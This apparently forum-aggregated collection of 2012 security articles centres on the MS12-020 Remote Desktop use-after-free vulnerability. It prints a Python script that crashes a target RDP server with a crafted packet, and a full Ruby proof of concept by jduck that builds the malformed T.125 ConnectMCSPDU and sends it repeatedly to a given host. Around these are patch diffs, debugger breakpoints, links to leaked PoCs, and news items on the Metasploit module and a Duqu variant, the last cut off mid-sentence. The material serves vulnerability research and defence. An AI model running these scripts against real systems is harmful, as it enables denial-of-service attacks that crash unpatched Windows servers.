SequenceOf type. 19 -> length of the sequence data (25 bytes) The header is followed with DomainParameters::maxChannelIds field: 02 01 22 02 -> ASN.1 BER encoded Integer type 01 -> length of the integer (1 byte) 22 -> actual value is 34 (0x22) Replace the old value of maxChannelIds (0x22) with 0 - this byte is located at the packet offset of 0x2C. The final packet dump will look as shown below (selections in yellow reflect the aforementioned changes 1-4): All these modifications of the packet are perfectly legitimate, excepting one: setting maxChannelIds value of the targetParameters to 0. That's probably the only "evil" byte in the whole packet. Can there be a signature reliably constructed to catch such packet (a rhetorical question)? Given the flexibility of BER format (you can BER-encode 0 as 02 01 00, or 02 02 0000, or 02 04 00000000 - that is, using 1, 2, or 4 bytes), is there a reasonably small number of combinations that can potentially assemble a malformed packet with the "evil" byte in it, a number so small that it can be covered with the signatures (another rhetorical question)? Saving the packet dump into packet.bin and running the Python script below will cause BSoD for the target server at %TARGET_IP_ADDRESS%: [TABLE] [TR] [TD=class: number]1[/TD] [TD=class: content]import socket[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: number]2[/TD] [TD=class: content]f = open('packet.bin', 'r')[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: number]3[/TD] [TD=class: content]packet = f.read()[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: number]4[/TD] [TD=class: content]f.close[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: number]5[/TD] [TD=class: content]s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: number]6[/TD] [TD=class: content]s.connect(("%TARGET_IP_ADDRESS%", 3389))[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: number]7[/TD] [TD=class: content]s.send(packet)[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: number]8[/TD] [TD=class: content]data = s.recv(4096)[/TD] [/TR] [/TABLE] The crush dump can then be loaded into WinDbg debugger to locate the place of the exception. As seen in the crush dump, the error happens in the following instruction that belongs to the function termdd!IcaBufferAllocEx: 8d02c987 mov eax,dword ptr [esi+18h] The instruction at the address 0x8d02c987 attempts to read a pointer (the next instruction references a DWORD pointed by it, and compares its value with 0) from the address 0x0a400620: [TABLE] [TR] [TD=class: content]termdd!IcaBufferAllocEx:[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content]8d02c96c mov edi,edi[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content]8d02c96e push ebp[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content]8d02c96f mov ebp,esp[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content]8d02c971 push ecx[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content]8d02c972 cmp dword ptr [ebp+14h],19h[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content]8d02c976 push esi[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content]8d02c977 push edi[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content]8d02c978 mov edi,dword ptr [ebp+8][/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content]8d02c97b sete al[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content]8d02c97e mov byte ptr [ebp-4],al[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content]8d02c981 lea eax,[edi-14h][/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content]8d02c984 push eax[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content]8d02c985 jmp termdd!IcaBufferAllocEx+0x24[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content]8d02c987 mov eax,dword ptr [esi+18h] ds:0023:0a400620=???????? ; <- ERROR !!![/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content]8d02c98a cmp dword ptr [eax],0[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content]8d02c98d jne termdd!IcaBufferAllocEx+0x4a[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content]8d02c98f push esi[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content]8d02c990 call termdd!IcaGetPreviousSdLink[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content]8d02c995 mov esi,eax[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content]8d02c997 test esi,esi[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content]8d02c999 jne termdd!IcaBufferAllocEx+0x1b[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content]8d02c99b push dword ptr [ebp+1Ch][/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content]8d02c99e push dword ptr [ebp+18h][/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content]8d02c9a1 push dword ptr [ebp+14h][/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content]8d02c9a4 push dword ptr [ebp+10h][/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content]8d02c9a7 push dword ptr [ebp+0Ch][/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content]8d02c9aa push edi[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content]8d02c9ab call termdd!IcaBufferAllocInternal[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content]8d02c9b0 pop edi[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content]8d02c9b1 pop esi[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content]8d02c9b2 leave[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content]8d02c9b3 ret 18h[/TD] [/TR] [/TABLE] The call stack reveals that the IcaBufferAllocEx() function within termdd.sys is called from RdpWD.sys driver and can be traced back to its NM_Disconnect() call: termdd!IcaBufferAllocEx+0x1b RDPWD!WDICART_IcaBufferAllocEx+0x24 RDPWD!StackBufferAllocEx+0x5c RDPWD!MCSDetachUserRequest+0x29 RDPWD!NMDetachUserReq+0x14 RDPWD!NM_Disconnect+0x16 RDPWD!SM_Disconnect+0x27 RDPWD!SM_OnConnected+0x70 RDPWD!NMAbortConnect+0x23 RDPWD!NM_Connect+0x68 RDPWD!SM_Connect+0x11d RDPWD!WDWConnect+0x557 RDPWD!WDLIB_TShareConfConnect+0xa0 RDPWD!WDSYS_Ioctl+0x6c9 termdd!_IcaCallSd+0x37 termdd!_IcaCallStack+0x57 termdd!IcaDeviceControlStack+0x466 termdd!IcaDeviceControl+0x59 termdd!IcaDispatch+0x13f nt!IofCallDriver+0x63 nt!IopSynchronousServiceTail+0x1f8 nt!IopXxxControlFile+0x6aa nt!NtDeviceIoControlFile+0x2a nt!KiFastCallEntry+0x12a As first reported by Luigi Auriemma, the use-after-free vulnerability is located in the handling of the maxChannelIds field of the T.125 ConnectMCSPDU packet when set to a value less or equal to 5. That field was patched in the example above with 0. According to Luigi, the problem happens during the disconnection of the user started with RDPWD!NM_Disconnect while the effect of the possible code execution is visible in termdd!IcaBufferAlloc. The exploit is currently at the DoS (denial-of-service) stage of its evolution. This is bad enough, considering how many web sites are managed remotely via RDP and thus, could potentially be knocked down with a single packet of 443 bytes submitted by an attacker. Unless someone has a crystal ball, it's hard to predict if this bug will ever evolve into a much more thrilling "remote code execution" stage - only time will tell that. posted by Sergei Shevchenko at 3:20 AM Sursa:stratBLOG - stratsec security research: MS12-020 Vulnerability for Breakfast

[h=1]MS12-002 Microsoft Remote Desktop Use-After-Free DoS[/h] This module exploits the MS12-002 RDP vulnerability originally discovered and reported by Luigi Auriemma. The flaw can be found in the way the T.125 ConnectMCSPDU packet is handled in the maxChannelIDs field, which will result an invalid pointer being used, therefore causing a denial-of-service condition. [h=1]Rank[/h] Normal [h=1]Authors[/h] Luigi Auriemma < > Daniel Godas-Lopez < > Alex Ionescu < > jduck < jduck [at] metasploit.com > #ms12-020 < > We start by diffing the rdpwd.sys binaries from XP SP3 for ms11-065 and ms11-020. http://technet.microsoft.com/en-us/security/bulletin/ms12-020 http://support.microsoft.com/kb/2621440 http://technet.microsoft.com/en-us/security/bulletin/ms11-065 http://support.microsoft.com/kb/2570222 http://zerodayinitiative.com/advisories/ZDI-12-044/ http://aluigi.org/adv/termdd_1-adv.txt Intrestingly, both idbs had an anlysis mistake at 0x20010, though they were different parts of the code. Manual intervention fixed these and then there were no unmatched functions in bindiff. This was done by undefinng the code before and after the "sp analysis failed" error and then re-defining the defined function (noted by symbols existing) as a procedure. There are four changed functions between the two XP SP3 binaries: 1. HandleAttachUserReq(x,x,x,x) - 0.91 similarity 2. NM_Disconnect(x) - 0.93 similarity 3. NMAbortConnect(x) - 0.98 similarity 4. MCSChannelJoinRequest(x,x,x,x) - 0.99 similarity When making a regular connection via RDP, MCSChannelJoinRequest gets hit several times. Additionally, HandleAttachUserReq gets called once. the other two functions aren't called in this circumstance. On to the differences... NMAbortConnect ============== This is the change (with total context included): --- ms11-065.c 2012-03-14 23:13:35.000000000 -0500 +++ ms12-020.c 2012-03-14 23:13:56.000000000 -0500 @@ -1,6 +1,9 @@ int __stdcall NMAbortConnect(int a1) { if ( *(_BYTE *)(a1 + 28) & 1 ) + { NMDetachUserReq(a1); + *(_DWORD *)(a1 + 28) ^= 1u; + } return SM_OnConnected(*(_DWORD *)a1, 0, 1, 0, 0); } This appears to ensure that some member of the a1 structure gets unset. At this point, the purpose of this flag is not clear. NM_Disconnect ============= This is the change (with total context included): fear:0:~$ diff -C 20 -b ms11-065.c ms12-020.c *** ms11-065.c Wed Mar 14 23:16:14 2012 --- ms12-020.c Wed Mar 14 23:16:21 2012 *************** *** 1,9 **** --- 1,12 ---- signed int __stdcall NM_Disconnect(int a1) { signed int result; // eax@1 result = 1; if ( *(_BYTE *)(a1 + 28) & 1 ) + { result = NMDetachUserReq(a1); + *(_DWORD *)(a1 + 28) ^= 1u; + } return result; } Again, this seems to ensure that the flag is unset whenever NM_Disconnect is called. MCSChannelJoinRequest ===================== This is the change (with total context included): fear:0:~$ diff -U 999 -b ms11-065.c ms12-020.c --- ms11-065.c 2012-03-14 23:18:49.000000000 -0500 +++ ms12-020.c 2012-03-14 23:18:34.000000000 -0500 @@ -1,91 +1,91 @@ signed int __stdcall MCSChannelJoinRequest(int a1, PVOID P, int a3, int a4) { int v4; // esi@1 unsigned int v5; // edi@1 PVOID v6; // ecx@2 unsigned int v8; // ecx@17 int v9; // eax@18 PVOID v10; // eax@22 char v12; // [sp+Ch] [bp-4h]@32 signed int v13; // [sp+18h] [bp+8h]@15 v4 = a1; v5 = (unsigned int)P; *(_BYTE *)a4 = 0; if ( !(unsigned __int8)SListGetByKey(*(_DWORD *)a1 + 48, v5, &P) ) { if ( v5 > 0x3E9 ) return 9; if ( *(_DWORD *)(*(_DWORD *)a1 + 48) > *(_DWORD *)(*(_DWORD *)a1 + 164) ) return 15; if ( v5 ) { v13 = 1; } else { v5 = GetNewDynamicChannel(*(_DWORD *)a1); if ( !v5 ) return 15; v13 = 3; } P = 0; v8 = 0; do { v9 = v8 + *(_DWORD *)v4; if ( !*(_BYTE *)(v9 + 425) ) { P = (PVOID)(v9 + 368); *(_BYTE *)(v9 + 425) = 1; } v8 += 64; } while ( v8 < 0x140 ); if ( !P ) { v10 = ExAllocatePoolWithTag(PagedPool, 0x40u, 0x636D5354u); P = v10; if ( !v10 ) return 11; *((_BYTE *)v10 + 56) = 0; } *((_DWORD *)P + 15) = v5; *((_DWORD *)P + 13) = v13; if ( (unsigned __int8)SListAppend(*(_DWORD *)v4 + 48, v5, P) ) { SListInit(P, 2); v6 = P; goto LABEL_32; } if ( *((_BYTE *)P + 56) ) *((_BYTE *)P + 57) = 0; else ExFreePoolWithTag(P, 0); return 11; } v6 = P; if ( *((_DWORD *)P + 13) == 1 ) goto LABEL_32; if ( *((_DWORD *)P + 13) == 2 ) { - if ( *((_DWORD *)P + 15) == v5 ) + if ( *((_DWORD *)P + 15) == *(_DWORD *)(a1 + 12) ) goto LABEL_32; return 16; } if ( *((_DWORD *)P + 13) != 3 ) { if ( *((_DWORD *)P + 13) == 4 ) return 1; return 11; } LABEL_32: if ( (unsigned __int8)SListGetByKey(v4 + 16, v6, &v12) ) return 21; if ( !(unsigned __int8)SListAppend(v4 + 16, P, P) || !(unsigned __int8)SListAppend(P, v4, v4) ) return 11; if ( *(_BYTE *)(*(_DWORD *)v4 + 16) & 0x20 ) *(_BYTE *)a4 = 1; *(_DWORD *)a3 = P; return 0; } Rather than check against v5, the function has been modified to check against the member a1+0xc. HandleAttachUserReq =================== This is the change (with total context included): fear:0:~$ diff -U 999 -b ms11-065.c ms12-020.c --- ms11-065.c 2012-03-14 23:22:16.000000000 -0500 +++ ms12-020.c 2012-03-14 23:23:49.000000000 -0500 @@ -1,33 +1,40 @@ char __thiscall HandleAttachUserReq(int this, int a2, int a3) { int v3; // esi@1 int v4; // eax@3 - int v6; // [sp-8h] [bp-18h]@3 - char v7; // [sp+4h] [bp-Ch]@3 - int v8; // [sp+8h] [bp-8h]@3 - int v9; // [sp+Ch] [bp-4h]@2 + int v6; // [sp-4h] [bp-18h]@3 + char v7; // [sp+8h] [bp-Ch]@3 + int v8; // [sp+Ch] [bp-8h]@3 + int v9; // [sp+10h] [bp-4h]@2 v3 = this; *(_DWORD *)a3 = 1; if ( *(_BYTE *)(this + 16) & 0x20 ) { while ( IcaBufferAlloc(*(_DWORD *)v3, 0, 1, 11, 0, &v9) ) ; v4 = MCSAttachUserRequest(v3, 0, 0, 0, &v8, &v7, (char *)&a3 + 3); v6 = *(_DWORD *)(v9 + 16); if ( v4 ) { CreateAttachUserCon(14, 0, 0, v6); *(_DWORD *)(v9 + 20) = 9; } else { CreateAttachUserCon(0, 1, *(_DWORD *)(v8 + 12), v6); *(_DWORD *)(v9 + 20) = 11; *(_BYTE *)(v8 + 4) = 0; } if ( SendOutBuf(v3, v9) < 0 ) + { SListRemove(v3 + 112, v8, &v8); + if ( v8 ) + { + if ( !*(_BYTE *)(v8 + 5) ) + ExFreePoolWithTag((PVOID)v8, 0); + } + } } return 1; } The first thing that jumps out is that the stack layout has changed. In particular, v6 is now located 4 bytes later in the stack. This pushes everything else down too. This generally indicates the addition of a local variable, but no such variable was found in the new code. In fact, the reason for this is that the "ebx" register is now saved on the stack a bit earlier. This has no effect on the program's behavior. The second change is that was added is checking of the output parameter (v8) from SListRemove. Previously, the return value was ignored. If the return value is set, the new version will check a that the byte at offset 5 is zero. If so, it will free the returned pointer. This change isn't likely to be directly related to the vulnerability. They have sad the issue was an uninitialized memory or user-after-free type issue. Adding a free is not indicative of such an issue. This is more likely to be a memory consumption issue (memory leak). This could possibly be the DoS vuln as many have postulated. After reviewing the changes, it's clear that HandleAttachReq is not the issue. The other changes look much more like a potential use-after free could be caused. It is likely that triggering such a condition would require traversing a code path that does something with the flag value that is being reset. Using FreeRDP as referenced in the fake python POC also triggers the same two changed functions. It does not trigger them as many times. External links discovered by various people: Patch diffing http://exploitshop.wordpress.com/2012/03/13/ms12-020-vulnerabilities-in-remote-desktop-could-allow-remote-code-execution/ http://blog.binaryninjas.org/?p=58 https://twitter.com/#!/vessial/status/179839003720302592/photo/1/large http://ocean.inseclab.org/2012/03/15/ms12-020-part-1/ PoC from china (unconfirmed, possible) http://www.forgeting.com/archives/601.html http://www.wooyun.org/bugs/wooyun-2010-05264 http://www.ybhacker.com/index.php/post-54.html - links to download of the fake exploit PoC from china (unconfirmed, plausible) http://cq-cser.cn/2012/03/2012-0002/ http://hi.baidu.com/wordexp/blog/item/83afd3ec575192ce2e2e2113.html PoC from china (confirmed fake) http://pastebin.com/jZt9gmD5 http://pastebin.com/fFWkezQH http://www.9170.org/post-421.html - these are probably fake, see: - http://downloads.securityfocus.com/vulnerabilities/exploits/31874.py - from: http://www.securityfocus.com/bid/31874 FreeRDP related links https://github.com/FreeRDP/FreeRDP/blob/master/libfreerdp-core/mcs.c https://github.com/FreeRDP/FreeRDP/wiki/Reference-Documentation http://www.freerdp.com/api/connection_8c.html http://www.freerdp.com/api/structrdp__rdp.html Microsoft Documentation Link http://msdn.microsoft.com/en-us/library/cc240469(v=prot.10).aspx Bounty link (joke?) http://gun.io/open/48/metasploit-module-for-cve-2012-002 3/15 - Working PoC found ! 11:36 < gabrielpato> download link: http://115.com/file/be27pff7 This PoC has been confirmed to cause a blue screen on a patched to ms11-065 Windows XP SP3. The command line to try is: rdpclient.exe <host> -v 10 The crash from http://cq-cser.cn/2012/03/2012-0002/ is likely related to this. The next steps are: 1. Fully understand why the crash is occurring - Further decode in PoC @ http://pastie.org/private/feg8du0e9kfagng4rrg 2. Determine methods for getting a crash reliably (currently the PoC doesn't always cause a crash) 3. Craft an open source version of the trigger (instead of this binary rdpclient.exe) 4. Determine mechanisms for sculpting heap memory to get control breakpoints ============ NOTE: These breakpoints are for the ms11-065 rdpwd.sys (5.1.2600.6128, md5: fc105dd312ed64eb66bff111e8ec6eac) Save the below script to "bp.wdbg" and run with: C:\windbg\x86\windbg.exe -b -k com:pipe,port=\\.\pipe\com_1,resets=0 -y c:\symbols -c $<C:\ms12-020\bps.wdbg ============ .reload bp rdpwd+1b5d0 ".printf \"MCSChannelJoinRequest(0x%x, 0x%x, 0x%x, 0x%x)\\n\", poi(esp+4), poi(esp+8), poi(esp+c), poi(esp+10);g" bp rdpwd+1cb32 ".printf \"HandleAttachUserReq(0x%x, 0x%x, 0x%x, 0x%x)\\n\", poi(esp+4), poi(esp+8), poi(esp+c), poi(esp+10);g" bp rdpwd+51b0 ".printf \"NM_Disconnect(0x%x)\\n\", poi(esp+4);g" bp rdpwd+56cc ".printf \"NMAbortConnect(0x%x)\\n\", poi(esp+4);g" bp rdpwd+1c0ee ".printf \"SListRemove(0x%x, 0x%x, 0x%x)\\n\", poi(esp+4), poi(esp+8), poi(esp+c);g" bp rdpwd+1c0a2 ".printf \"SListAppend(0x%x, 0x%x, 0x%x)\\n\", poi(esp+4), poi(esp+8), poi(esp+c);g" bp rdpwd+1bfd8 ".printf \"SListDestroy(0x%x)\\n\", poi(esp+4);g" bp rdpwd+1c1bc ".printf \"SListGetByKey(0x%x, 0x%x, 0x%x)\\n\", poi(esp+4), poi(esp+8), poi(esp+c);g" bp rdpwd+1bfae ".printf \"SListInit(0x%x, 0x%x)\\n\", poi(esp+4), poi(esp+8);g" bp rdpwd+1c166 ".printf \"SListRemoveFirst(0x%x, 0x%x, 0x%x)\\n\", poi(esp+4), poi(esp+8), poi(esp+c);g" g ============ annotated output (thx alfredo): http://pastie.org/private/54eydgcmiklarqgp9ds9wa LOL the leaked rar rdpclient.exe contains this: E:\Work\MSRC11678\fuzzer\rdpclient\Release\rdpclient.pdb Turns out the leaked exploit was based on Luigi's originally ZDI submission. myne-us released some info on ms11-065 22:33 < myne-us> http://pastebin.com/rHHHPaFa Several more PoC's were released by myne-us, sleepya, and Alex Ionescu. These triggers reduce the amount of data needed to trigger the condition. 01:53 < sleepya> http://pastebin.com/4FnaYYMz 02:47 < wishi> http://pastebin.com/WYx9kRQ6 02:57 < Alex_Ionescu> http://bit.ly/ACp7nt 03:29 < Alex_Ionescu> http://bit.ly/zhdtSM 05:22 < Alex_Ionescu> http://bit.ly/waXLiA <= C exploit Halvar popped in and dropped knowledge on us. 06:15 < halvar> my suggestion _NMAbortConnection->_SM_OnConnected->_SM_Disconnect->_NM_Disconnect 06:15 < halvar> I have not time to look 06:15 < halvar> but I'd bet money on this 06:16 < halvar> the MS patch makes sure that _NMDetachUserReq can't be called twice on the same code path 06:17 < halvar> _NMDetachUserReq calls _MCsDetachUserRequest calls _DetachUser, which iterates over a linked list of channels, calls their destructor, and frees them 06:17 < halvar> or perhaps not destructor, but calls a pointer in them 06:17 < halvar> if you manage to get the call into _NMDetachUserReq twice 06:17 < halvar> you should be doing this twice 06:17 < halvar> getting eip 06:17 < halvar> (my official guess 06:17 < halvar> ok, gotta run, still sick Another PoC released. 10:29 < d1g1t4l> http://www.privatepaste.com/ffe875e04a 10:29 < d1g1t4l> its mostly aionescu's POC but that triggers it 100% of the time for me 10:29 < d1g1t4l> note the usleep after sending the buffer 10:29 < d1g1t4l> if you kill the connection too early the memory corruption wont be reached 10:30 < d1g1t4l> thats why alex's needs to be run in a loop, you need to get lucky with scheduling 10:43 < f4gty4> just a heads up guys, d1g1t4l's PoC crashes my 2k3 box at RDPWD.sys while this PoC] pastebin.com/WYx9kRQ6 (topic) crashes at termdd.sys #!/usr/bin/env ruby # # ms12-020 PoC attempt # # NOTE: This was crafted based on a legit connection packet capture and reversing # a packet capture of the leaked MAPP PoC. # # by Joshua J. Drake (jduck) # require 'socket' def send_tpkt(sd, data) sd.write(make_tpkt(data)) end def make_tpkt(data) [ 3, # version 0, # reserved 4 + data.length ].pack('CCn') + data end def make_x224(data) [ data.length ].pack('C') + data end def make_rdp(type, flags, data) [ type, flags, 4 + data.length ].pack('CCv') + data end host = ARGV.shift sd = TCPSocket.new(host, 3389) pkts1 = [] # craft connection request rdp = make_rdp(1, 0, [ 0 ].pack('V')) x224_1 = make_x224([ 0xe0, # Connection request 0, # ?? 0, # SRC-REF 0 # Class : Class 0 ].pack('CnnC') + rdp) pkts1 << make_tpkt(x224_1) # craft connect-initial x224_2 = make_x224([ 0xf0, # Data / Class 0 0x80 # EOT: True / NR: 0 ].pack('CC')) # mcsCi target_params = ""+ #"\x02\x01\x00"+ # maxChannelIds "\x02\x01\x22"+ # maxChannelIds "\x02\x01\x0a"+ # maxUserIds "\x02\x01\x00"+ # maxTokenIds "\x02\x01\x01"+ # numPriorities "\x02\x01\x00"+ # minThroughput "\x02\x01\x01"+ # maxHeight "\x02\x02\xff\xff"+ # maxMCSPDUSize "\x02\x01\x02" # protocolVersion min_params = ""+ "\x02\x01\x01"+ # maxChannelIds "\x02\x01\x01"+ # maxUserIds "\x02\x01\x01"+ # maxTokenIds "\x02\x01\x01"+ # numPriorities "\x02\x01\x00"+ # minThroughput "\x02\x01\x01"+ # maxHeight "\x02\x02\x04\x20"+ # maxMCSPDUSize "\x02\x01\x02" # protocolVersion max_params = ""+ "\x02\x02\xff\xff"+ # maxChannelIds "\x02\x02\xfc\x17"+ # maxUserIds "\x02\x02\xff\xff"+ # maxTokenIds "\x02\x01\x01"+ # numPriorities "\x02\x01\x00"+ # minThroughput "\x02\x01\x01"+ # maxHeight "\x02\x02\xff\xff"+ # maxMCSPDUSize "\x02\x01\x02" # protocolVersion userdata = ""+ # gccCCrq "\x00\x05\x00\x14"+ "\x7c\x00\x01\x81\x2a\x00\x08\x00\x10\x00\x01\xc0\x00\x44\x75\x63"+"\x61\x81\x1c"+ # clientCoreData "\x01\xc0"+"\xd8\x00"+ # header (type, len) "\x04\x00"+"\x08\x00"+ # version "\x80\x02"+ # desktop width "\xe0\x01"+ # desktop height "\x01\xca"+ # color depth "\x03\xaa"+ # SASSequence "\x09\x04\x00\x00" + # keyboard layout "\xce\x0e\x00\x00" + # client build number # client name "\x48\x00\x4f\x00\x53\x00\x54\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x04\x00\x00\x00"+ # keyboard type "\x00\x00\x00\x00"+ # kbd subType "\x0c\x00\x00\x00"+ # kbd FuncKey # imeFileName "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x01\xca"+ # postBeta2ColorDepth "\x01\x00"+ # clientProductId "\x00\x00\x00\x00" + # serialNumber "\x10\x00"+ # highColorDepth "\x07\x00"+ # supportedColorDepths "\x01\x00"+ # earlyCapabilityFlags # clientDigProductId -poc has: "00000-000-0000000-00000" "\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x2d\x00\x30\x00\x30\x00"+ "\x30\x00\x2d\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00"+ "\x30\x00\x2d\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00"+ # connectionType "\x00"+ # pad1octet "\x00\x00\x00\x00"+ # serverSelectedProtocol "\x04\xc0\x0c\x00"+ # desktopPhysicalWidth "\x0d\x00\x00\x00"+ # desktopPhysicalHeight "\x00\x00\x00\x00"+ # reserved # clientSecurityData "\x02\xc0"+"\x0c\x00"+ # header (type, len) "\x1b\x00\x00\x00"+ # encryptionMethods "\x00\x00\x00\x00"+ # extEncryptionMethods # clientNetworkData "\x03\xc0"+"\x2c\x00"+ # header (type, len) "\x03\x00\x00\x00"+ # channel count! # channel 0 "rdpdr\x00\x00\x00"+ # name "\x00\x00\x80\x80"+ # options # channel 1 "cliprdr\x00"+ # name "\x00\x00\xa0\xc0"+ # options # channel 2 "rdpsnd\x00\x00"+ # name "\x00\x00\x00\xc0" # options # clientClusterData (not present) # clientMonitorData (not present) mcs_data = ""+ "\x04\x01\x01"+ # callingDomainSelector "\x04\x01\x01"+ # calledDomainSelector "\x01\x01\xff"+ # upwardFlag "\x30" + [ target_params.length ].pack('C') + target_params + "\x30" + [ min_params.length ].pack('C') + min_params + "\x30" + [ max_params.length ].pack('C') + max_params + # userData "\x04\x82" + [ userdata.length ].pack('n') + userdata mcs = "\x7f\x65\x82" + [ mcs_data.length ].pack('n') # connect-initial (0x65 / 101), length mcs << mcs_data pkts1 << make_tpkt(x224_2 + mcs) # send a special one? #pkts1 << make_tpkt(x224_2 + "\x04\x01\x00\x01\x00") # send more pkts! - based on poc 8.times { pkts1 << make_tpkt(x224_2 + "\x28") } #pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xea") #pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xeb") #pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xec") #pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xed") #pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xee") pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xf0") #pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xf1") #pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xf2") #pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xf3") pkts1 << make_tpkt(x224_2 + "\x21\x80") bigpkt = pkts1.join('') 20.times { |x| puts " [*] Sending #{x + 1} ..." sd.write(bigpkt) send_tpkt(sd, x224_2 + "\x2e\x00\x00\x01") #send_tpkt(sd, x224_2 + "\x2e\x00\x00\x02") #send_tpkt(sd, x224_2 + "\x2e\x00\x00\x03") #send_tpkt(sd, x224_2 + "\x2e\x00\x00\x04") # read connect-initial response buf = sd.recv(1500) # XXX: TODO: check response =) #puts buf } sd.close[h=1]References[/h] CVE-2012-0002 MSB-MS12-020 www.privatepaste.com :: Paste Not Found Private Paste - Pastie Private Paste - Pastie http://stratsec.blogspot.com.au/2012/03/ms12-020-vulnerability-for-breakfast.... Microsoft Terminal Services Use After Free (MS12-020) [h=1]Development[/h] Source Code History Sursa: Metasploit :: Browse Exploit & Auxiliary Modules

[h=1]Exploit For Ms12-020 RDP Bug Moves to Metasploit[/h] March 20, 2012, 2:08PM by Dennis Fisher As the inquiry into who leaked the proof-of-concept exploit code for the MS12-020 RDP flaw continues, organizations that have not patched their machines yet have a new motivation to do so: A Metasploit module for the vulnerability is now available. It's been a week now since Microsoft released a patch for the RDP bug and the exploit code that was included with the information the company sent to its partners in MAPP (Microsoft Active Protections Program) was found in an exploit on a Chinese download site shortly thereafter. Luigi Auriemma, the researcher who discovered and reported the vulnerability to Microsoft through the TippingPoint Zero Day Initiative, said that the packet found in the exploit code that leaked was a direct copy of the one he submitted with his bug report. Officials at ZDI said that they are certain that the code did not leak from their organization. Microsoft officials have said little more than to acknowledge that there seems to be a leak from somewhere within MAPP. The company has not indicated whether that was on their end or from one of the MAPP members. Now, there is a working exploit committed to the Metasploit Framework, which is a typically a good indicator that attacks are about to ramp up. Brad Arkin, head of product security and privacy at Adobe, said in a talk recently that when there's a newly public vulnerability in one of the company's products, the attacks start with a trickle against high value targets and then increase sharply from there. "The biggest jump in exploits we see is right after the release of a Metasploit module," he said. "We'll see a few attacks a day before that and then it will spike to five thousand a day, and it goes up from there. There's a correlation between the broader availability of an exploit and more people getting attacked." The exploit in Metasploit, like the one that has been circulating online, causes a denial-of-service condition on vulnerable machines. Researchers have been working on developing a working remote code execution exploit for the bug, as well, but none has surfaced pulbicly yet. Sursa: Exploit For Ms12-020 RDP Bug Moves to Metasploit | threatpost

[h=1]Symantec Identifies New Duqu Trojan Driver Variant[/h]Tuesday, March 20, 2012 According to a report from ZDNet's Ryan Naraine, Symantec researchers have identified a new variant of the Duqu Trojan, giving reason to believe the malware is very much alive and kicking. Symantec noted the discovery of a previously unseen driver (mcd9×86.sys) for Duqu that was apparently compiled as recently as February of this year. Symantec's Security Response unit announced the discovery via Twitter message: Symantec's analysis showed that the variant did not represent any new functionality in the malware. Naraine reports that "Kaspersky Lab’s Costin Raiu says the latest variant has been engineered to escape detection by the open-source Duqu detector toolkit released by CrySyS Lab." On October 14th, 2011, Symantec was originally sent a sample of the malware which caused quite a stir because of the similarity to the infamous Stuxnet virus, yet the payload and purpose showed that Duqu was a totally new creation. Stuxnet is a highly sophisticated designer-virus that wreaks havoc with SCADA systems which provide operations control for critical infrastructure and production networks, and the initial attacks are thought to have caused severe damage to Iranian uranium 